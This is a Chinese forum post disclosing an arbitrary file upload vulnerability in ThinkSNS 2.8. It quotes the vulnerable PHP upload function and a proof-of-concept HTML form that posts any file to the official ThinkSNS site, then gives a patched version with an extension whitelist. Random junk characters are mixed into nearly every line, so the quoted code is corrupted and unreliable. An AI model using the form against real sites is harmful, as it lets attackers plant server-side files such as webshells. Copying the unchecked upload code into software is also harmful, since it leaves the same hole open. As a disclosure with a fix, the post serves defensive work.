找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2262|回复: 0
打印 上一主题 下一主题

ThinkSNS 2.8任意文件上传漏洞及修复

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:12:30 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
  微博上传图片时只在前端进行验证, 服务器端没有进行安全过滤。
' J% m5 A0 ^' ~3 ^/ }9 b8 A* O$ g5 h9 V
* G9 R/ n) L: O: h ) y8 j  w& z+ j5 `5 e
\api\StatusesApi.class.php+ i' G  ^$ E9 @, P7 C+ G0 w3 K  r; i
) h; I# v" d" t7 S4 ^. r  G
function uploadpic(){
# {, M% S0 ?. \3 G0 p      if( $_FILES['pic'] ){0 d) B( l" F2 X6 @& r: b# N
     //执行上传操作! S- S: U) K9 F1 A) j. b
     $savePath =  $this->_getSaveTempPath();9 ]/ O8 D* a2 v. n7 f. g, y  h
     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
- c7 W5 W: q* _8 ^    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))) s4 C) ~* j" m$ j
       {
$ \  c: z5 K/ h8 Y6 c        $result['boolen']    = 1;
) N% \* u' m) z- Y3 w. }+ S7 q; R        $result['type_data'] = 'temp/'.$filename;7 g0 m7 s4 R3 f7 N
        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;  ~7 ~7 o7 ~4 x+ A5 A5 O( U
       } else {
8 g- l! z7 x/ ~6 T9 w+ G        $result['boolen']    = 0;
" x0 F3 n0 C0 w7 Q$ |; A8 P' c2 j        $result['message']   = '上传失败';
& r+ i0 ^' m7 ~9 F# c0 r       }
* |0 c6 Q1 P- S" L( h8 G     }else{
5 z& j; k3 {1 n1 ^+ u         $result['boolen']    = 0;
; c2 k: {" X% G" K6 x* }# C1 E         $result['message']   = '上传失败';( I  b( b. g8 g6 K
     }
4 S& @6 Y3 T) C# v% d) Wreturn $result;
, @/ ?! g! C% i% _    }
- |; m$ c; K( ~8 q) r' @. ^" Ounloadpic()方法没有对文件类型进行验证
1 ^5 O7 X( j# r - f4 u7 g! U) C1 k" n3 N, R$ D8 m
可以构建表单, 选择任意文件, 提交到7 s+ o2 I9 Q8 G% k/ E
/index.php?app=w3g&mod=Index&act=doPost
/ n6 _  S/ W* x7 ]: U/ o
- @7 R+ A9 _5 O8 T2 a9 v0 _* a# ^# H在新提交的微博上可以找到上传的文件地址(去掉small_、middle_ 前缀)* H( U8 J& X& z. g  t  M
& R. R8 g+ |1 l* l! C7 Y6 c

& v( W" Y; Y6 J! W! j在登录thinksns官方微博后,9 ]& S" ?* t! C8 M1 F
构建以下表单:& T5 ?4 Z7 c) Y* L( d8 B

- A5 S8 S4 G! ~/ s# @  @4 ?7 a<form action="http://t.thinksns.com/index.php?app=w3g&mod=Index&act=doPost" method="post" enctype="multipart/form-data" />, Y( _% v& B% U# [# P
<textarea name="content">test</textarea>
& H/ q2 E; H' a2 Mfile: <input id="file" type="file" name="pic" />
; t' o, D0 S+ U2 N. B  c<input type="submit" value="Post" />1 w8 Q( [. X' m5 d9 [# h! E: h
</form>: H$ u/ ]" R& N& h' z  X
去掉缩略图的前缀(small_ )
/ k, K, E% M2 K1 l0 N​修复方案:% T; ?" t3 A( y

) K) S9 a% s$ _, m: [1 A2 g; o0 {, W& D" ^3 |9 ^& J  l* {
\api\StatusesApi.class.php4 Z/ j- `! U/ W! G  u3 }
7 t- T# M2 _: t5 K
function uploadpic(){/ a; a2 V8 A3 s: x# b
     /**. L, c8 v9 U5 n
      * 20121018 @yelo# O* ]2 @+ Q! y
      * 增加上传类型验证7 }* w6 d- R5 L! I: U
      */
2 e: S" E1 K" T2 ?1 @     $pathinfo = pathinfo($_FILES['pic']['name']);
9 \6 j( c8 a# z; B+ V( b     $ext = $pathinfo['extension'];2 [9 |  z- X; S/ A5 Q) I
$allowExts = array('jpg', 'png', 'gif', 'jpeg');- J8 k1 K5 }$ e* H% W. S4 ~4 @' D

- K1 a! W9 W9 k' U; g0 [8 p, q     $uploadCondition = $_FILES['pic'] && in_array(strtolower($ext),$allowExts,true);
5 ?2 Y2 g  |# t# e' ^ ! S$ S% `+ t4 p# N1 o8 B
     if( $uploadCondition ){
* G6 e# e2 Q" @1 j) s$ M4 G* D$ E     //执行上传操作
7 S0 P3 W! x- u! t. H+ x     $savePath =  $this->_getSaveTempPath();
" E4 @' W( w% K' [0 o     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);# y% e( U6 d) i3 M2 `
    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))( X( C6 [4 O2 k( j( a: K
       {
; K6 R/ y4 |8 s' C        $result['boolen']    = 1;, b, e/ G. e+ @' D$ J7 p
        $result['type_data'] = 'temp/'.$filename;
* l1 g$ R3 D" Y4 N" T        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;' }  y" ?& I& h% R
       } else {4 P9 E2 R, ~$ z& G1 j
        $result['boolen']    = 0;
+ N2 d: g* X& E: Q5 n6 t        $result['message']   = '上传失败';
3 j) o8 E2 P- i8 l1 `       }
8 R' f, p9 l: z# \" n' _  h, l8 w     }else{- F5 l; E2 D: c# O# Z4 n& c
         $result['boolen']    = 0;' t& ]9 i3 T3 o. r$ q7 y1 ^7 ~5 Y
         $result['message']   = '上传失败';
+ H2 ~) q3 A( e3 {     }" o, @! N- ]# s/ z' E* u
return $result;# f1 z3 c+ ^; l+ P- ~
    }
2 D! F2 a* K9 `( t1 F  y' Y- R! p4 c/ W

) H+ \2 ^8 b/ |: }( u: u0 T
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表